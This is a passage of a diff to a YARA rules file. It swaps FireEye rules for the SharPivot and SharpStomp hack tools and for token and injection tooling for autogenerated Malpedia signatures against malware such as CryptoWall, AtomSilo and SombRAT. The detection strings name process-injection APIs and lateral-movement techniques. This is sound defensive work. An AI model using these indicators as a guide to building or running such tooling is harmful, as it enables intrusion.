-		$api1 = "VirtualAllocEx" fullword
-		$api2 = "UpdateProcThreadAttribute" fullword
-		$api3 = "DuplicateTokenEx" fullword
-		$api4 = "CreateProcessAsUserA" fullword
-		$inject = { 8B 85 [4] C7 44 24 20 40 00 00 00 41 B9 00 30 00 00 44 8B C0 33 D2 48 8B 8D [4] FF 15 [4] 48 89 45 ?? 48 83 7D ?? 00 75 ?? 48 8B 45 ?? E9 [4] 8B 85 [4] 48 C7 44 24 20 00 00 00 00 44 8B C8 4C 8B 85 [4] 48 8B 55 ?? 48 8B 8D [4] FF 15 [4] 85 C0 75 ?? 48 8B 45 ?? EB ?? 8B 85 [4] 48 8B 4D ?? 48 03 C8 48 8B C1 48 89 45 48 48 8D 85 [4] 48 89 44 24 30 C7 44 24 28 00 00 00 00 48 8B 85 [4] 48 89 44 24 20 4C 8B 4D ?? 41 B8 00 00 10 00 33 D2 48 8B 8D [4] FF 15 }
-		$process = { 48 C7 44 24 30 00 00 00 00 48 C7 44 24 28 00 00 00 00 48 C7 44 24 20 08 00 00 00 4C 8D 8D [4] 41 B8 00 00 02 00 33 D2 48 8B 8D [4] FF 15 [4] 85 C0 75 ?? E9 [4] 48 8B 85 [4] 48 89 85 [4] 48 8D 85 [4] 48 89 44 24 50 48 8D 85 [4] 48 89 44 24 48 48 C7 44 24 40 00 00 00 00 48 C7 44 24 38 00 00 00 00 C7 44 24 30 04 00 08 00 C7 44 24 28 00 00 00 00 48 C7 44 24 20 00 00 00 00 45 33 C9 4C 8D 05 [4] 33 D2 48 8B [2-5] FF 15 }
-		$token = { FF 15 [4] 4C 8D 45 ?? BA 0A 00 00 00 48 8B C8 FF 15 [4] 85 C0 75 ?? E9 [4] 48 8D [2-5] 48 89 44 24 28 C7 44 24 20 02 00 00 00 41 B9 02 00 00 00 45 33 C0 BA 0B 00 00 00 48 8B 4D ?? FF 15 [4] 85 C0 75 ?? E9 [4] 4C 8D 8D [4] 45 33 C0 BA 01 00 00 00 33 C9 FF 15 }
+		$sequence_0 = { 746e 33c0 6a2d 40 668945f0 58 6a04 }
+		$sequence_1 = { e8???????? 50 53 e8???????? 83c410 6a23 }
+		$sequence_2 = { ff15???????? 83f8ff 74d6 8bc7 8b4df8 33cd }
+		$sequence_3 = { 034df0 03c1 8b4db8 c14da802 8d8401a1ebd96e 8b4dac }
+		$sequence_4 = { 33f6 ff15???????? 85c0 782c 53 8bc7 e8???????? }
+		$sequence_5 = { e8???????? c9 c3 55 8bec 83ec18 8b4d08 }
+		$sequence_6 = { e8???????? 8d855cffffff 50 c7855cffffff94000000 ff15???????? 83bd6cffffff02 7509 }
+		$sequence_7 = { 56 e8???????? 83c40c 43 5f 5e 8bc3 }
+		$sequence_8 = { c3 85f6 7436 85ff 7432 53 6a00 }
+		$sequence_9 = { 39b5f0f7ffff 0f8495000000 39b5e4f7ffff 0f8489000000 6a04 8d9ddcf7ffff c785dcf7ffff1000efbe }
 
 	condition:
-		(( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x020B)) and all of them
+		7 of them and filesize <147456
 }
-rule FIREEYE_RT_Trojan_Win64_Generic_22 : FILE
+rule MALPEDIA_Win_Tor_Loader_Auto : FILE
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
-		author = "FireEye"
-		id = "e79661a8-5254-5e8e-b92b-edf1ddb072ff"
-		date = "2020-11-26"
-		date = "2020-11-26"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/EXCAVATOR/supplemental/yara/Trojan_Win64_Generic_22.yar#L4-L22"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "f7d9961463b5110a3d70ee2e97842ed3"
-		logic_hash = "52fbe5c0ee7c05df5fcd62c26caaa5498e32352da9c5940e522aa31d6c808028"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "a70795d3-ed07-58b1-af1f-1705de4529bb"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tor_loader"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.tor_loader_auto.yar#L1-L134"
+		license_url = "N/A"
+		logic_hash = "5d8db358e57884a4955f1fc346221e8831cd43555daaec59fcf000e4dc8835e4"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		rev = 2
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$api1 = "VirtualAllocEx" fullword
-		$api2 = "UpdateProcThreadAttribute" fullword
-		$api3 = "DuplicateTokenEx" fullword
-		$api4 = "CreateProcessAsUserA" fullword
-		$inject = { C7 44 24 20 40 00 00 00 33 D2 41 B9 00 30 00 00 41 B8 [4] 48 8B CB FF 15 [4] 48 8B F0 48 85 C0 74 ?? 4C 89 74 24 20 41 B9 [4] 4C 8D 05 [4] 48 8B D6 48 8B CB FF 15 [4] 85 C0 75 [5-10] 4C 8D 0C 3E 48 8D 44 24 ?? 48 89 44 24 30 44 89 74 24 28 4C 89 74 24 20 33 D2 41 B8 [4] 48 8B CB FF 15 }
-		$process = { 89 74 24 30 ?? 8D 4C 24 [2] 89 74 24 28 33 D2 41 B8 00 00 02 00 48 C7 44 24 20 08 00 00 00 48 8B CF FF 15 [4] 85 C0 0F 84 [4] 48 8B [2-3] 48 8D 45 ?? 48 89 44 24 50 4C 8D 05 [4] 48 8D 45 ?? 48 89 7D 08 48 89 44 24 48 45 33 C9 ?? 89 74 24 40 33 D2 ?? 89 74 24 38 C7 44 24 30 04 00 08 00 [0-1] 89 74 24 28 ?? 89 74 24 20 FF 15 }
-		$token = { FF 15 [4] 4C 8D 44 24 ?? BA 0A 00 00 00 48 8B C8 FF 15 [4] 85 C0 0F 84 [4] 48 8B 4C 24 ?? 48 8D [2-3] 41 B9 02 00 00 00 48 89 44 24 28 45 33 C0 C7 44 24 20 02 00 00 00 41 8D 51 09 FF 15 [4] 85 C0 0F 84 [4] 45 33 C0 4C 8D 4C 24 ?? 33 C9 41 8D 50 01 FF 15 }
+		$sequence_0 = { eb29 488d7a38 e8???????? 4889df 488b4c2440 6690 e8???????? }
+		$sequence_1 = { eb15 4c8d8f88000000 4889f8 4c89cf e8???????? 4889c7 488b4740 }
+		$sequence_2 = { e8???????? 48c7400810000000 488d0da0490c00 488908 833d????????00 6690 7509 }
+		$sequence_3 = { eb0c 41bc00000000 41bb00000000 0f8573feffff 4c8bac2480000000 4883bc248800000004 0f855cfeffff }
+		$sequence_4 = { e9???????? 4c89542478 4983f901 7560 488d05a10e1900 bb01000000 4889d9 }
+		$sequence_5 = { e8???????? 833d????????00 750e 488b8c24800d0000 48894818 eb11 488d7818 }
+		$sequence_6 = { e8???????? 488d05ca2e1300 e8???????? 48c7400826000000 488d0d358f1800 488908 4889c3 }
+		$sequence_7 = { e8???????? 488d05dc0e3100 bb04000000 e8???????? 488b8424d0000000 e8???????? 488d050b203100 }
+		$sequence_8 = { eb38 488b8c24c0020000 488b11 488b4238 6690 e8???????? 83f001 }
+		$sequence_9 = { e8???????? 48895c2450 4889c1 488d053fe00500 4889cb e8???????? 488b5c2450 }
 
 	condition:
-		(( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x020B)) and all of them
+		7 of them and filesize <13050880
 }
-rule FIREEYE_RT_Hacktool_MSIL_Sharpivot_2 : FILE
+rule MALPEDIA_Win_Op_Blockbuster_Auto : FILE
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
-		author = "FireEye"
-		id = "8d6d28ce-de3a-5a38-b654-ba1372d47568"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPIVOT/production/yara/HackTool_MSIL_SharPivot_2.yar#L4-L20"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "e4efa759d425e2f26fbc29943a30f5bd"
-		logic_hash = "14e4a29a32e8441a6f7f322e09cd9bb9822ae47eaa1fdf8e09c90998b03658f5"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "25f80772-0fe0-5361-8b46-20a23fa9313b"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.op_blockbuster"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.op_blockbuster_auto.yar#L1-L321"
+		license_url = "N/A"
+		logic_hash = "7067748769cd92b2df2df661ece0caacb6285e4ff10828657376fad1bbae3d46"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		rev = 3
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$s1 = "costura"
-		$s2 = "cmd_schtask" wide
-		$s3 = "cmd_wmi" wide
-		$s4 = "cmd_rpc" wide
-		$s5 = "GoogleUpdateTaskMachineUA" wide
-		$s6 = "servicehijack" wide
-		$s7 = "poisonhandler" wide
+		$sequence_0 = { 6a00 e8???????? 85c0 7407 83f802 }
+		$sequence_1 = { f3ab 66ab aa 5f 85f6 }
+		$sequence_2 = { ff15???????? 6808400000 6a40 ff15???????? }
+		$sequence_3 = { 56 57 683c400000 6a40 }
+		$sequence_4 = { e8???????? 6800400000 6a00 ff15???????? }
+		$sequence_5 = { c701???????? 8b497c 85c9 7407 51 }
+		$sequence_6 = { 8a08 80f920 7505 83c021 eb05 }
+		$sequence_7 = { 68???????? 56 ff15???????? 68???????? 56 a3???????? e8???????? }
+		$sequence_8 = { 56 50 8d45fc 6a04 50 }
+		$sequence_9 = { 7412 68???????? 50 e8???????? 59 a3???????? 59 }
+		$sequence_10 = { 3c70 7f04 0409 eb06 }
+		$sequence_11 = { 3c69 7c08 3c70 7f04 }
+		$sequence_12 = { 488b05???????? 4833c4 48898424d0030000 33c0 488be9 }
+		$sequence_13 = { c3 56 53 6a01 57 e8???????? }
+		$sequence_14 = { 56 6a00 ff15???????? 8bf8 85ff 7504 5f }
+		$sequence_15 = { 8bc6 5f 5e c3 33c0 6a00 }
+		$sequence_16 = { 33c0 ebac 498bcc ff15???????? 488d4d70 }
+		$sequence_17 = { ff15???????? 85f6 7404 85c0 }
+		$sequence_18 = { 57 e8???????? 56 e8???????? 83c414 b801000000 }
+		$sequence_19 = { 68???????? 56 e8???????? 56 e8???????? 83c438 }
+		$sequence_20 = { 0f84df010000 8b542444 488bcf 442bea 4585ed }
+		$sequence_21 = { ff15???????? 85c0 0f84e7010000 488d558c 488d8dd0020000 ff15???????? }
+		$sequence_22 = { c3 33c0 ebf8 53 33db 391d???????? 56 }
+		$sequence_23 = { a3???????? 5e c3 68???????? ff15???????? 85c0 }
+		$sequence_24 = { e8???????? 85c0 7429 488d542468 4c8bce 41b804000000 488bcf }
+		$sequence_25 = { 83fb01 7524 488d942490010000 4d8bc4 488bcd }
+		$sequence_26 = { 8b86d8974400 85c0 740e 50 e8???????? }
+		$sequence_27 = { 83e03f 6bc830 8b0495d8974400 f644082801 7421 57 e8???????? }
+		$sequence_28 = { c1fa06 8bc6 83e03f 6bc830 8b0495d8974400 885c0128 8b0495d8974400 }
+		$sequence_29 = { 81ec54080000 56 57 33f6 b9ff010000 33c0 8dbdaef7ffff }
+		$sequence_30 = { f3ab 8bca 83e103 f3aa 8b4df8 }
+		$sequence_31 = { 57 50 ff5114 85c0 0f8c8c000000 }
+		$sequence_32 = { ffd6 6a00 6a00 8d8424140c0000 6a00 }
+		$sequence_33 = { 58 7577 ff7508 8b7d08 }
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and all of them
+		7 of them and filesize <74309632
 }
-rule FIREEYE_RT_Hacktool_MSIL_Sharpivot_4 : FILE
+rule MALPEDIA_Win_Atomsilo_Auto : FILE
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the SharPivot project."
-		author = "FireEye"
-		id = "c1bd64da-6a54-5bc6-8a89-9c8a93dd965c"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPIVOT/production/yara/HackTool_MSIL_SharPivot_4.yar#L4-L15"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "e4efa759d425e2f26fbc29943a30f5bd"
-		logic_hash = "7ef883148926d5786861e5e81b1e645aa2e3ca06bd663f2b5f32e04b5852a218"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "5c5abdc6-8981-5d86-b9f4-d4db3c6db3a6"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.atomsilo"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.atomsilo_auto.yar#L1-L134"
+		license_url = "N/A"
+		logic_hash = "12073cc9a4e235a243c621f25e39a1bc781a5d45de9a635e40dc44153d51bb08"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-		rev = 3
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$typelibguid1 = "44B83A69-349F-4A3E-8328-A45132A70D62" ascii nocase wide
+		$sequence_0 = { e8???????? 90 488d054b810900 488903 488d0571780900 48894308 48c74338ffffffff }
+		$sequence_1 = { 4403e8 498b17 48638c24a0000000 4803ca 49890f 483bca 731c }
+		$sequence_2 = { 4d8bc4 488bd7 488d8d50010000 e8???????? b930000000 e8???????? 488bd8 }
+		$sequence_3 = { 488b7dd0 4885c9 741d 488d51ff 488d14d7 0f1f440000 48833a00 }
+		$sequence_4 = { 0409 83f052 8844245d 8b442450 040a 83f045 8844245e }
+		$sequence_5 = { 488d05dd6c0700 488907 488bc7 0f104318 488b5c2430 f30f7f4718 4883c420 }
+		$sequence_6 = { 4156 4883ec50 488b5830 498bf9 498bf0 4c8bf2 4c8be1 }
+		$sequence_7 = { 488d15e7b60500 0fb60c0a c1e103 4863c9 488d1546720900 33440a03 8944243c }
+		$sequence_8 = { 0f94c0 480106 ebc0 488b7c2438 4c8b8424f0000000 4c8b9c24c8000000 4c8b9424d0000000 }
+		$sequence_9 = { 4883ec28 83792801 8b4228 7423 83f801 740f e8???????? }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and $typelibguid1
+		7 of them and filesize <1785856
 }
-rule FIREEYE_RT_Hacktool_MSIL_Sharpivot_3 : FILE
+rule MALPEDIA_Win_Avast_Disabler_Auto : FILE
 {
 	meta:
-		description = "This rule looks for .NET PE files that have the strings of various method names in the SharPivot code."
-		author = "FireEye"
-		id = "616333fc-4075-5f04-823a-1164717a2b87"
-		date = "2020-12-10"
-		modified = "2020-12-10"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPIVOT/production/yara/HackTool_MSIL_SharPivot_3.yar#L4-L31"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "e4efa759d425e2f26fbc29943a30f5bd"
-		logic_hash = "ecf13e47e409efd68b508735a84be6a1627f5b0c0cea6b90434fc9ba5b1d8cf5"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "6a09cca4-7cb6-5c97-b15b-4f7311a6621b"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.avast_disabler"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.avast_disabler_auto.yar#L1-L124"
+		license_url = "N/A"
+		logic_hash = "19754a7bc503b1b28bdfc059b6eb230f6f3e29b2e990d8ace51bd954a83ec439"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		rev = 3
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$msil = "_CorExeMain" ascii wide
-		$str1 = "SharPivot" ascii wide
-		$str2 = "ParseArgs" ascii wide
-		$str3 = "GenRandomString" ascii wide
-		$str4 = "ScheduledTaskExists" ascii wide
-		$str5 = "ServiceExists" ascii wide
-		$str6 = "lpPassword" ascii wide
-		$str7 = "execute" ascii wide
-		$str8 = "WinRM" ascii wide
-		$str9 = "SchtaskMod" ascii wide
-		$str10 = "PoisonHandler" ascii wide
-		$str11 = "SCShell" ascii wide
-		$str12 = "SchtaskMod" ascii wide
-		$str13 = "ServiceHijack" ascii wide
-		$str14 = "commandArg" ascii wide
-		$str15 = "payloadPath" ascii wide
-		$str16 = "Schtask" ascii wide
+		$sequence_0 = { 85c0 7404 3bc1 7515 0f31 35???????? }
+		$sequence_1 = { 7534 837c371400 752d 89443714 6a08 8d45f4 50 }
+		$sequence_2 = { b94ee640bb 85c0 7404 3bc1 7515 }
+		$sequence_3 = { 2b4c3718 51 53 53 50 e8???????? 8b4dfc }
+		$sequence_4 = { 50 ff15???????? 6a01 8d45f8 50 ff750c ff15???????? }
+		$sequence_5 = { 33c0 40 394510 7534 837c371400 752d }
+		$sequence_6 = { 8b5c3718 83c112 03d9 837d1000 }
+		$sequence_7 = { 75a9 5f 5e 5b 5d c21000 55 }
+		$sequence_8 = { 51 803d????????00 7520 c605????????01 }
+		$sequence_9 = { 5f 5e 5b 8be5 5d c20c00 3b0d???????? }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and $msil and all of ($str*)
+		7 of them and filesize <41984
 }
-rule FIREEYE_RT_Hacktool_MSIL_Sharpivot_1 : FILE
+rule MALPEDIA_Win_Murofet_Auto : FILE
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
-		author = "FireEye"
-		id = "c2834bd6-efb0-5dac-adcd-a9450090fc28"
-		date = "2020-11-25"
-		date = "2020-11-25"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPIVOT/production/yara/HackTool_MSIL_SharPivot_1.yar#L4-L18"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "e4efa759d425e2f26fbc29943a30f5bd"
-		logic_hash = "1c71b9641e30c9764f3503e49f8f85472d7e62384c8dd2b420c4fa2b2fccda4f"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "7aa9a2c5-7064-5442-8638-24194df65bf5"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.murofet"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.murofet_auto.yar#L1-L119"
+		license_url = "N/A"
+		logic_hash = "f1786a85d9dda8157fc7a7bca5587363f921b04e9ce6db23c0c6a6b000291064"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		rev = 3
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$s2 = { 73 ?? 00 00 0A 0A 06 1F ?? 1F ?? 6F ?? 00 00 0A 0B 73 ?? 00 00 0A 0C 16 13 04 2B 5E 23 [8] 06 6F ?? 00 00 0A 5A 23 [8] 58 28 ?? 00 00 0A 28 ?? 00 00 0A 28 ?? 00 00 0A }
-		$s3 = "cmd_rpc" wide
-		$s4 = "costura"
+		$sequence_0 = { 3c02 72e5 e8???????? a2???????? 84c0 7510 }
+		$sequence_1 = { 7504 3c02 72bf b001 }
+		$sequence_2 = { 3c02 72e5 e8???????? a2???????? }
+		$sequence_3 = { e8???????? e8???????? 3c02 72e5 e8???????? a2???????? 84c0 }
+		$sequence_4 = { 6a10 8d4624 55 50 ff15???????? 83c40c }
+		$sequence_5 = { c3 e8???????? 33c0 c20400 55 8bec 83ec68 }
+		$sequence_6 = { e8???????? 33c0 c20400 55 8bec 83ec68 53 }
+		$sequence_7 = { 6a10 8d4624 55 50 }
+		$sequence_8 = { 72e5 e8???????? a2???????? 84c0 7510 }
+		$sequence_9 = { ff15???????? c6443eff00 83f8ff 7509 56 }
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and all of them
+		7 of them and filesize <622592
 }
-rule FIREEYE_RT_Hacktool_MSIL_Sharpstomp_1 : FILE
+rule MALPEDIA_Win_Sombrat_Auto : FILE
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the SharpStomp project."
-		author = "FireEye"
-		id = "e113c221-fabe-5af4-b763-463c4f86288d"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPSTOMP/production/yara/HackTool_MSIL_SharpStomp_1.yar#L4-L15"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "83ed748cd94576700268d35666bf3e01"
-		logic_hash = "fd0a3d046734d48be74d9a74f27570468550d21911c54ca82c81a1d64e9fdd17"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "829e34aa-1da2-5a33-9238-c1cc0c096058"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sombrat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sombrat_auto.yar#L1-L149"
+		license_url = "N/A"
+		logic_hash = "a1432e014afc208b0318e2ead477453bc5bd4bddb98bd4c2d60380403a2290c4"
+		score = 75
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
+
+	strings:
+		$sequence_0 = { 014114 8b7508 837df800 8b5df4 }
+		$sequence_1 = { 01041e 8b4508 42 8d7308 }
+		$sequence_2 = { 0144244a 894e0c ffb72c010000 ff15???????? }
+		$sequence_3 = { 01420c 8b11 294210 8b09 }
+		$sequence_4 = { 0145e4 8b55f8 83c40c 294644 }
+		$sequence_5 = { 0000 e8???????? c70424???????? 8d5f0c 68???????? }
+		$sequence_6 = { 7514 8b4610 8d8de4fffeff 2b4618 03c3 }
+		$sequence_7 = { 014114 014620 f6460c04 8945e0 742d }
+		$sequence_8 = { 015f08 33c0 488b4c2470 4833cc }
+		$sequence_9 = { 0145f1 4533c9 4533c0 488b16 }
+		$sequence_10 = { 016b08 488d05dc980500 41b9e7160000 4889442420 }
+		$sequence_11 = { 015f08 83bfd800000016 0f856c020000 488b87c8000000 }
+		$sequence_12 = { 016b08 33c0 e9???????? 33ff }
+		$sequence_13 = { 01448c20 48ffc1 493bc9 7cf1 }
+		$sequence_14 = { 015f08 33c0 e9???????? 488b4760 }
+		$sequence_15 = { 015f08 488bcf e8???????? 8bf0 }
+
+	condition:
+		7 of them and filesize <1466368
+}
+rule MALPEDIA_Win_Puzzlemaker_Auto : FILE
+{
+	meta:
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "e93d66ca-a521-530d-a49f-9104b54671e2"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.puzzlemaker"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.puzzlemaker_auto.yar#L1-L124"
+		license_url = "N/A"
+		logic_hash = "f4b400ba752d2bb5a757bcaa926474306cca33660eefc885e89a26d2aeb5ebe7"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-		rev = 4
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$typelibguid1 = "41f35e79-2034-496a-8c82-86443164ada2" ascii nocase wide
+		$sequence_0 = { 48890b 488d5308 488d4808 0f1102 e8???????? 488d053c0e0100 488903 }
+		$sequence_1 = { f20f5cca f2410f590cc1 660f28d1 660f28c1 4c8d0dbb980000 f20f101d???????? }
+		$sequence_2 = { 0fb705???????? 66d1e8 6683e07f f30f6f05???????? }
+		$sequence_3 = { e8???????? 488bd8 488945a7 4885c0 7432 }
+		$sequence_4 = { 48895db7 4885db 0f84ca000000 4c896c2428 4c896c2420 4c8d4d07 4533c0 }
+		$sequence_5 = { 4489542444 81fae9fd0000 0f857e010000 4c8d3deddafeff }
+		$sequence_6 = { 488910 48895008 c3 4883ec28 4885c9 7411 488d0590e30100 }
+		$sequence_7 = { c705????????090400c0 c705????????01000000 c705????????01000000 b808000000 486bc000 488d0da6f80100 8b542430 }
+		$sequence_8 = { 48898520050000 488b05???????? 488d154a1b0200 488b0d???????? 4533ed 488985f8010000 }
+		$sequence_9 = { 488d0db4270100 e8???????? 85c0 740e ba01000000 488bcd ff15???????? }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and $typelibguid1
+		7 of them and filesize <331776
 }
-rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPSTOMP_2 : FILE
+rule MALPEDIA_Win_Cryptowall_Auto : FILE
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
-		author = "FireEye"
-		id = "d1a3477d-55c6-5c33-bd65-5b1e0d65f24b"
-		date = "2020-12-02"
-		date = "2020-12-02"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPSTOMP/production/yara/APT_HackTool_MSIL_SHARPSTOMP_2.yar#L4-L22"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "83ed748cd94576700268d35666bf3e01"
-		logic_hash = "4ed1553f12c607792d7d4e7026ecb36231cd417a06eba8b2925c2c643436b5fe"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "4b008ce5-4135-5555-ab2d-ce0ccd0475ff"
